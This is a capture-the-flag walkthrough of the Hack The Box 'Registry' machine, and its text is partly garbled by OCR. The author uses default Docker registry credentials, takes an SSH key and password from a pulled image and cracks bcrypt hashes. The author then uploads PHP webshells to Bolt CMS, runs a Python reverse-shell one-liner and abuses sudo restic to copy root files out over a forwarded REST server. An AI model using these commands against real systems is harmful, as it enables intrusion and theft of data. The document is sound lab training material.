Registry



InfoGathering

0.0

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) 443/tcp open ssl/http nginx 1.14.0 (Ubuntu) ssl-cert: Subject: commonName=docker.registry.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The SSL Cert has a CN of registry bth and docker registry bth so i added that to /etc/bosts

The SSL Cert has a CN of registry.htb and docker.registry.htb so i added that to /etc/hostsThis tells us two things.1.) This is a docker server which is a popular development tool2.) this is a subdomain or the name of the box.

dirb https://docker.registry.htb
wfuzz -c -L -R 3 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u https://
docker.registry.htb/FUZZ --hc=400,404

The below reults were returned. http://registry.htb/index.html http://registry.htb/backup.php # This was blank http://registry.htb/.bash_history https://registry/htb/install/ https://registry.htb/install/index.php



I found another page here https://registry.htb/bolt/ https://registry.htb/bolt/files/

A quick search of Bolt tells us it is a Content Management site and best suited for HTML5 sites. None of the links on that page seem to go anywhere. The site is not completed

I decoded the UTF-8 Unicode above and it looked like that was not what is expected of us to do.

I added docker.registry.htb to the /etc/hosts file and after catching a Burp request realized it was the docker api.



Gaining Access

Since this is the API we are going to try to talk to it and see what kind of information we can get. RESOURCE: https://docs.docker.com/registry/spec/api/

When I attempted to login to the docker site I received an untrusted certificate error.

docker login docker.registry.htb:443



I attempted admin:admin for credentials because that is something you should do for these things.

I changed Firefox's proxy so I wont see PortSwiggers burp certificate and downloaded the CA cert from https:// registry.htb/install

I called the cert file regcert.crt

Error code: SEC_ERROR_UNKNOWN_ISSUER

,

Copy text to clipboard

https://docker.registry.htb/v1/users/

Peer's Certificate issuer is not recognized.

HTTP Strict Transport Security: true HTTP Public Key Pinning: false

Certificate chain:

-BEGIN CERTIFICATE-MIICrTCCAZUCCQDjC7Es6pyC3TANBgkghkiG9w0BAQsFADATMREwDwYDVQQDDAhS ZWdpc3RyeTAeFw0x0TA1MDYyMTE0MzVaFw0y0TA1MDMyMTE0MzVaMB4xHDAaBgNV BAMME2RvY2tlci5yZWdpc3RyeS5odGIwggEiMA0GCSgGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDAQd6mLhCheVIu0I0f2QIXH4UZGnzIrcQgDfTelpc3E4QxH0ng+KPg 7gsPuMz/WMnmZUh3dLKLXb7hgJ2Wk8vQM6tt+PbKna/D6WKXgGM3JnSLKW1Y0kIu AuQenM0xJxh41IA0+3FqdlEdta0V8sP+bgFB/uG2NDfP0LciJMop+d5pwpcxro81 egZASYNM3AbZjWAotmMqHwjGwZwqqxXxn61DixNDN2GWLQH07QPUVUjF+Npso3zN ZLUJ1vkAtl6kFlmLTJgjlTUuE78udKD5r/NLgHNxxx0baSFXrmm2maDDoAkhob0t ljpa/U/fCv8g03KToaXVZYb6BfFEP5FBAgMBAAEwDQYJKoZIhvcNAQELBQADggEB AF3zSdj6GB3UYb431GRyTe32Th3QgpbXsQXA2gaLjI0n3q0F5PYnADgKsDzTxtDU z4e5vLz0Y3NhMKobft+vzBt2GbJIzo8DbmDBD3z1WQU+GLTnXyUAPF9J6fhtUaKm hoq1S8YsKRt/NMJwZMk3GiIw1c7KEN3/9XqJ9lfIyeXqVc6XBvuiZ+ssjDId0RZ0 7eWWELxItMHPVScvWp0A7B4INPM6USKGy7hUTFcPJZB7+ElTF02h0c4MwFQcSqKW BUG+oUPpM0o099ZRnX8D5/H3dvbuBsugKgRrPmQnMehoWs7pNRUDudUnnLfGEJHh PEyspH0Cbg1C6a0gI1xo0c0=

----END CERTIFICATE-----

Copy text to clipboard

If you do not already have docker installed install it

sudo apt install docker sudo apt install docker.io systemctl start docker cp regcert.crt /usr/local/share/ca-certificates/regcert.crt update-ca-certificates docker login https://docker.registry.htb:443 admin admin

root@kali:~/HTB/boxes/Registry# cp regcert.crt /usr/local/share/ca-certificates/regcert.crt root@kali:~/HTB/boxes/Registry# update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d...

Adding debian:regcert.pem done. Updating Mono key store Mono Certificate Store Sync - version 6.4.0.198 Populate Mono certificate store from a concatenated list of certificates. Copyright 2002, 2003 Motus Technologies. Copyright 2004-2008 Novell. BSD licensed.

Importing into legacy system store: I already trust 130, your new list has 129 Certificate added: CN=docker.registry.htb 1 new root certificates were added to your trust store. Import process completed.

Importing into BTLS system store: I already trust 128, your new list has 129 Certificate added: CN=docker.registry.htb

root@kali:~/HTB/boxes/Registry# docker login https://docker.registry.htb:443
Username: admin
Password:
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded

Next we are going to login to docker and than pull the image from the registry box

```
docker login docker.registry.htb/bolt-image
docker pull docker.registry.htb/bolt-image
docker run -dit docker.registry.htb/bolt-image
```

The readme file we pulled has some useful links for learning more about this.

```
root@kali:~/HTB/boxes/Registry# cat readme.md
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
root@kali.c/HTB/boxes/Registry#
```

Now we are going to obtain a shell into the docker container.

As you can see below we needed to use the image name in order to gain a bash shell to it as root

root@kal1:~/HTB	/boxes/Registry#	docker ps				
CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
root@kali:~/HTB	/boxes/Registry#	docker run -dit docker	.registry.htb/bolt-	image		
Unable to find	image 'docker.reg	istry.htb/bolt-image:la	atest' locally			
latest: Pulling	from bolt-image					
1476d6615408: P	ull complete					
8882c27f669e: P	ull complete					
d9af21273955: P	ull complete					
f5029279ec12: P	ull complete					
2931a8b44e49: P	ull complete					
c71b0b975ab8: P	ull complete					
02666a14e1b5: P	ull complete					
3f12770883a6: P	ull complete					
302bfcb3f10c: P	ull complete					
Digest: sha256:	eeff225e5fae33dc8	32c3f82fd8b0db363a73ea	c4f0f0cb587094be540	158539b		
Status: Downloa	ded newer image f	or docker.registry.htb,	/bolt-image:latest			
b1aba4d71bff522	0e282acc82c6608f2	bdbce73bb914b7cb819545	82cd3cee3b			
root@kali:~/HTB	/boxes/Registry#	docker exec -it blaba4	d71bff5220e282acc82	c6608f2bdbce73bb914	b7cb81954582cd3cee3b /b1	n/bash
root@blaba4d71b	ff:/# whoami					

There are 2 ways I am aware of to break out of a container. Malware or credentials. Im pretty sure we can find some creds.

First we check ssh keys. We found a private key!

ls /root/.ssh
cat /root/.ssh/id_rsa

Download that file and copy it to our machine and set the appropriate permissions.

chmod 600 rsa.key
ssh -i rsa.key root@10.10.10.159

Turns out we still need a password.

There is also a .viminfo file in the /root/ directory. Reading that has an interesting file /etc/profile.d/01-ssh.sh



We have a clear text password. That might be our missing key. The ssh failed as root. Lets try as bolt since that is the name of this docker site. That works USER: bolt PASS: GkOcz221Ftb3ugog ssh -i rsa.key bolt@10.10.159

Gk0cz221Ftb3ugog

We got the user flag

bolt@bolt:~\$ ls user.txt bolt@bolt:~\$ cat user.txt ytc0ytdmnzywnzgxngi0zte0otm3ywzi bolt@bolt:~\$ _

USER FLAG: ytc0ytdmnzywnzgxngi0zte0otm3ywzi

PrivEsc

I found the hash from the begining and decided to crack that just for fun It was in /srv/docker-registry/auth/registry.password

```
Dictionary cache hit:
```

* Filename..: /usr/share/wordlists/rockyou.txt

- * Passwords.: 14344385
- * Bytes....: 139921507
- * Keyspace..: 14344385

\$2y\$05\$MQ.s8qTZnGX657si5k7a9eCNn3NRccEg1TNoXjNmF2niYQ5F0gMzy:admin

Session	hashcat
Status	Cracked
Hash.Type:	bcrypt \$2*\$, Blowfish (Unix)
Hash.Target	\$2y\$05\$MQ.s8qTZnGX657si5k7a9eCNn3NRccEg1TNoXjNmF2niF0gMzy
Time.Started:	Fri Oct 25 04:58:12 2019 (7 secs)
Time.Estimated:	Fri Oct 25 04:58:19 2019 (0 secs)
Guess.Base:	File (/usr/share/wordlists/rockyou.txt)
Guess.Queue:	1/1 (100.00%)
Speed.#1:	3087 H/s (8.76ms) @ Accel:8 Loops:2 Thr:8 Vec:8
Recovered:	1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress:	19968/14344385 (0.14%)
Rejected:	0/19968 (0.00%)
Restore.Point:	19456/14344385 (0.14%)
Restore.Sub.#1:	Salt:0 Amplifier:0-1 Iteration:30-32
Candidates.#1:	leonardol -> jonel

In the bolt database file I found a possible password This was using

```
less /var/www/html/bolt/app/database/bolt.db
# Below is a quicker way
strings /var/www/html/bolt/app/database/bolt.db | grep root
```

admin\$2y\$10\$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK bolt@registry.htb 2019-10-24 21:12:28 10.10.15.247Admin["files://shell.php-00.png","files://shell.php.png"]["root","everyone"]

There seemed to be a lot of files in /var/www/html/bolt As a way to filter them i did a search for index.* files and visited the sites to see what I could find

```
find /var/www/html -type f -name index.*
/var/www/html/install/index.php
/var/www/html/bolt/vendor/codeception/codeception/tests/data/app/index.php
/var/www/html/bolt/vendor/codeception/codeception/tests/data/app/view/index.php
/var/www/html/bolt/vendor/codeception/codeception/tests/data/app/view/form/index.php
/var/www/html/bolt/vendor/codeception/codeception/tests/data/app/view/form/index.php
/var/www/html/bolt/vendor/silex/silex/bin/skeleton/index.php
/var/www/html/bolt/vendor/siriusphp/upload/tests/web/index.php
/var/www/html/bolt/index.php
```

The below 2 links returned something but nothing useful https://registry.htb/bolt/vendor/codeception/codeception/tests/data/app/view/index.php https://registry.htb/bolt/vendor/codeception/codeception/tests/data/app/view/form/index.php

Since that worked out well I figured I better check for a login page SUCCESS!

```
find /var/www/html -type f -name *login*
cat /var/www/html/bolt/vendor/codeception/codeception/tests/data/app/view/login.php
```

https://registry.htb/bolt/vendor/codeception/codeception/tests/data/app/view/login.php

Lets try to login. To do this we of course need to crack the password

```
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
```

Filename..: /usr/share/wordlists/rockyou.txt Passwords.: 14344392 Bytes....: 139921507 Keyspace..: 14344385 Runtime...: 4 secs \$2y\$10\$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK:strawberry Session..... hashcat Status..... Cracked Hash.Type.....: bcrypt \$2*\$, Blowfish (Unix) Hash.Target.....: \$2y\$10\$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P...cpY7PK Time.Started....: Fri Oct 25 04:24:50 2019 (5 secs) Time.Estimated...: Fri Oct 25 04:24:55 2019 (0 secs) Guess.Base.....: File (/usr/share/wordlists/rockyou.txt) Guess.Queue....: 1/1 (100.00%) 96 H/s (8.79ms) @ Accel:8 Loops:2 Thr:8 Vec:8 Speed.#1..... Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress..... 512/14344385 (0.00%) Rejected..... 0/512 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1022-1024 Candidates.#1....: 123456 -> letmein Started: Fri Oct 25 04:24:32 2019

```
Stopped: Fri Oct 25 04:24:57 2019
```

EMAIL: bolt@registry.htb PASS: strawberry

Dictionary cache built:

After way too long i found the login page. FINALLY. Is hould have just looked at the docs in the first place

Screenshot iPhone 3: The Dashboard overview screen.



Dashboard

DOC IMAGE

ACTUAL SITE https://registry.htb/bolt/bolt

Bolt

Username / email	
admin	
Password	Show
a	••
◆ Log on	I forgot my password

Under Settings - File Management we can upload files

Actions for files					
+ Create folder + Create file					
Filter					
Keyword					
Upload a file to this folder Drop files in the file manager to upload them or					
Allowed file types are: 0 Types					
Select file					
⊥ Upload file					

After attempting to upload a php file I discovered this was not allowed. Since we are logged in as admin we need to change that setting and allow php uploads. Do this by going to Configuration - Main Configuration



240 accept_file_types: [php, twig
241

Verify the change was made after foing to File Management - Uploaded files and hover over types. If you do not see the change reflected here you will need to refresh the webpage.

You should have 3 tabs in Firefox open.

One where you save your config https://registry.htb/bolt/bolt/file/edit/config/config.yml Second where you upload the file https://registry.htb/bolt/bolt/files Third where your webshell will temporarily exist ready to issue the cp command moving your shell to a permanent location https://registry.htb/bolt/files/webshell.php

Allowed file types are: php,

twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg.



Lets upload a php webshell and work on getting our TTY shell. RESOURCE: https://github.com/WhiteWinterWolf/wwwolf-php-webshell.git

After uploading shell.php I did a search to see where the file went bolt@bolt:/var/www/html/bolt\$ find /var/www/html/bolt -type f -name shell.php 2> /dev/null /var/www/html/bolt/files/shell.php bolt@bolt:/var/www/html/bolt/files/shell.php So in our browser I need to go to the below link to get to it http://registry.htb/bolt/files/webshell.php

I received a not found error and all my changes had been reverted. This means I need to save the shell to a different location.

I than loaded my shell again and visited the http link above. I than copied my shell to /var/www/html/bolt/theme/shell.php so I always have access.

cp /var/www/html/bolt/files/webshell.php /var/www/html/bolt/theme/webshell.php

cp /var/www/html/bolt/files/shell.php /var/www/html/bolt/theme/shell.php cp /var/www/html/bolt/files/agent.php /var/www/html/bolt/theme/agent.php

cp /var/www/ntmt/bott/fites/agent.php /var/www/ntmt/bott/theme/agent.php

p0wny@shell:.../bolt/files# cp shell.php /var/www/html/bolt/theme/shell.php

After the above command is executed go to the permanent shells location https://registry.htb/bolt/theme/webshell.php

Lets see if we have any sudo permissions.

sudo -l

We do!

p0wny@shell:.../bolt/theme# sudo -l

Matching Defaults entries for www-data on bolt: env reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\: /usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*

Because we have sudo permissions for the restic backup command and the rest folder is included I went looking for that one.

find / -type d -name rest* 2> /dev/null

bolt@bolt:/var/www/html/bolt/theme\$ find / -type d -name rest* 2> /dev/null /var/www/html/bolt/vendor/codeception/codeception/tests/data/rest

I next went to that folder and tried exploiting it using the below command.

```
# This places us in the rest directory however it was not a valid method for privesc I discovered later
on. I still though this was clever
cd /var/www/html/bolt/vendor/codeception/codeception/tests/data/
sudo /usr/bin/restic backup -r rest/ -r sftp:bolt@127.0.0.1:/tmp -o sftp.command="whoami"
```

```
p0wny@shell:.../data/rest# pwd
```

```
/var/www/html/bolt/vendor/codeception/codeception/tests/data/rest
```

```
p0wny@shell:.../data/rest# sudo /usr/bin/restic backup -r /var/html/www/bolt -r
sftp:bolt@127.0.0.1:/tmp -o sftp.command="whoami"
sudo: no tty present and no askpass program specified
```

As you can see this failed because we need an actual tty shell. Fair enough.

I next uploaded a weevley and tried a meterpreter and reverse shell through there as well without success RESOURCE: https://github.com/epinna/weevely3

I tried uploading an msfvenom payload and other php reverse shells but was unable to catch a tty shell. I am assuming that cant be done remotely and needs to be done locally.

# Create we the below c	evely age command to	ent to upload p generate an	to target. This agent you will	s is done by connect too	entering the	e weevley	directory a	nd issui	ng
/opt/ShellL	ibrary/We	ebShell/weeve	ly3/weevely.py	generate mypa	assword agent	t.php			
root@kali:- Generated '	/HTB/Boxe agent.php	s/Registry# / ' with passwo	opt/ShellLibrary rd 'mypassword'	//WebShell/we of 772 byte	evely3/weevel size.	ly.py gene	rate mypassw	vord agen	ıt.php
Upload Wee	vley to th	e target. I did	this using www-	wolf web shel	ll and uploade	ed to /var/\	vww/html/bo	olt/theme	5
Fetch: hos	st: 10.10.1	4.18	port: 80	path:					
CWD: /var	r/www/htn	nl/bolt/theme			U	pload:	Browse	agent.ph	ıр
# Ensure yo ls	our agent	.php file is	there						
Fetch:	host:	10.10.14.1	.8	port:	80	path:			
CWD:	/var/w	/ww/html/l	oolt/theme						Up
Cmd:	ls								
	<u>Clear</u> o	<u>md</u>							
						Ex	ecute		
© : Upl	oaded	file /var,	/www/html	l/bolt/the	eme/agei	nt.php	(772 by	tes)	
ls									
agent.ph	p 6								
base-201	8								
skeleton									
webshell	.php								
# Connect t	o the age	ent after upl	oading it to ta	rget by issu	ing this com	nand on yo	ur attack m	achine	
/opt/ShellL	ibrary/We	ebShell/weeve	ly3/weevely.py	http://regis	try.htb/bolt,	/theme/age	nt.php mypa	ssword	

```
rootgkall:=/HTB/Boxes/Registry# /apt/ShellLibrary/WebShell/wewelyJ/weevely.py http://registry.htb/bolt/theme/agent.php mypassword
/ost/ShellLibrary/WebShell/weevelyJ/core/sessions.py:219: YAMLLosdWarning: calling yaml.lood() without Looder=... is deprecated, as the default Losder is unsafe. Plea
se read https://map.pyyaml.lood(apen(dbpoth, 'r').read())
(+] weevely 3.7.0
(+] weevely 3.7.0
(+] Target: registry.htb
(+] Session: /root/.weevely/sessions/registry.htb/agent_1.session
(+) Browse the filesystem or execute commands starts the connection
(+) to the target. Type ihelp for more information.
```

If you see the error it means you entered the wrong password or the agent.php file was never uploaded to the target.

weevely> whoami
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor request triggers an error 404, check availability
[-][channel] The remote backdoor communication failed, check URL availability and password
This means you were successful

```
/opt/ShellLibrary/WebShell/weevely3/core/sessions.py:219: YAMLLoadWarning:
se read https://msg.pyyaml.org/load for full details.
sessiondb = yaml.load(open(dbpath, 'r').read())
[+] weevely 3.7.0
[+] Target: registry.htb
[+] Session: /root/.weevely/sessions/registry.htb/agent_1.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
www-data
www-data
www-data@bolt:/var/www/html/bolt/theme $ |
```

Gain a tty by executing a python reverse shell using weevely to a ncat listener on bilt

As bolt start a listener
ncat -lvnp 8888

bolt@bolt:-\$ ncat -lvnp 8888 Ncat: Version 7.60 (https://nmap.org/ncat) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one Ncat: SHA-1 fingerprint: 64B9 9117 E2F9 D796 2E0A 5CC7 88F9 7C0B 021A D9CF Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888

As www.data execute a reverse shell

```
# As www-data in weevely web shell use python reverse shell
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",
8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/
bash","-i"]);'
```

bolt@bolt:/var/www/html/bolt\$ ncat -lvnp 8383 Ncat: Version 7.60 (https://nmap.org/ncat) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: B287 CA13 B66D CAB6 23DC 9FA4 DDD9 5964 B740 D1BD Ncat: Listening on :::8383 Ncat: Listening on 0.0.0.0:8383 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:59414. bash: cannot set terminal process group (944): Inappropriate ioctl for device bash: no job control in this shell www-data@bolt:~/html/bolt/theme\$ whoami whoami www-data

Gaining root requires us to set up a REST server and set up ssh forwarding to our machine. RESOURCE SSH: https://www.ssh.com/ssh/tunneling/example RESOURCE RESTIC: https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html#rest-server RESOURCE REST SERVER: https://github.com/restic/rest-server

```
# Create a repo on attack machine
cd /tmp
restic init --repo restic-repo
# Set up a port forward connecting to ssh
ssh -i rsa.key bolt@registry.htb -R localhost:8889:10.10.14.23:8000
# host rest server on attack machine
rest-server --no-auth --path /tmp/restic-repo --listen 10.10.14.23:8000
# Backup the file to REST server from target to attack machine
sudo restic backup -r rest:http://localhost:8889/ /root/root.txt
# View the snapshot ids
restic -r /tmp/restic-repo/ snapshots
# Restore the backup on attack machine
restic -r /tmp/restic-repo/ restore 26400bd6 --target /root/HTB/boxes/Registry/
# Read the flag
cat /root/HTB/boxes/Registry/root.txt
```

ROOT FLAG: ntrkzgnkotaxyju0ntrinda4yzbkztgw